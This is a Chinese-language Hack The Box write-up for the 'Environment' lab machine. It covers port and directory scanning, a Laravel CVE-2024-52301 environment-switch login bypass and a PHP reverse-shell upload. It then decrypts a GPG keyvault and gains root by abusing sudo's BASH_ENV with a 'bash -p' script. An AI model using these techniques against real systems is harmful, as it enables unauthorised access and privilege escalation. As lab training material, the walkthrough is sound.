Pwned-Exploiting HTB Environment

Environment

第一步用nmap进行扫描

1
nmap -sV -sC -Pn --min-rate 2000 10.10.11.67 --verbose

发现有22,80端口。那就访问一下80端口,发现无法访问,那就添加到/etc/hosts里面。

1
echo '10.10.11.67\environment.htb' | sudo tee -a /etc/hosts

找一找,抓抓包,发现没什么可以利用的,那就扫下其他文件和子域名。

1
2
3
4
# 扫文件
python dirsearch.py -u http://environment.htb/
# 扫域名
ffuf -w fuzzDicts/subdomainDicts/main.txt -u http://environment.htb/ -H "Host: FUZZ.environment.htb"

域名没扫出来什么,扫出了login登陆界面,还有个upload的界面。
picture 0

picture 1

抓一抓login的包看看,发现删掉remeber后可以看到源代码。
fpicture 2
输入其他值发现,可以看到如下源代码。当PHP环境为preprod的时候,就会以id=1的用户登录。
picture 3

去找下Laravel 11.30.0有没有CVE能够修改环境的。CVE-2024-52301

直接请求。
picture 4

登录成功后可以上传文件,上传个php试试。
picture 5

直接上传个反弹shellphp,之后访问该php,成功反弹shell
picture 6

picture 7

提权

1
2
# 交互式终端
python3 -m 'import pty;pty.spawn("/bin/bash/")'

到处看一看,发现对hish的目录有访问的权限。可以先获取user.txt
picture 8

进入到backup,发现一个keyvault.gpg文件,可能是加密过的文件。
进入.gnupg,目录丢给gpt,回答可能是私钥信息。

picture 9

那就验证一下,发现查看私钥的时候没有权限,那就复制到别的地方。
picture 10

之后解密一下看看。
picture 11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# ssh登录一下
ssh hish@10.10.11.67

# 登录成功后看看什么可以以root身份执行
hish@environment:~$ sudo -l
[sudo] password for hish:
Matching Defaults entries for hish on environment:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV
BASH_ENV", use_pty

User hish may run the following commands on environment:
(ALL) /usr/bin/systeminfo


# 发现有个systeminfo 可以,查看下内容
cat /usr/bin/systeminfo
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10

echo -e "\n### Checking system-wide open ports ###"
ss -antlp

echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t

echo -e "\n### Checking system resource limits ###"
ulimit -a

echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10

echo -e "\n### Checking disk usage for all filesystems ###"
df -h

# 那就生成反弹shell的同名文件,发现没办法执行成功,那就把sudo -l的内容给gpt问问,有什么可以利用的。

echo 'bash -p' > exp.sh
chmod +x exp.sh
sudo BASH_ENV=./exp.sh /usr/bin/systeminfo
# 获取到root权限
root@environment:~# whoami
root

又学到了T_T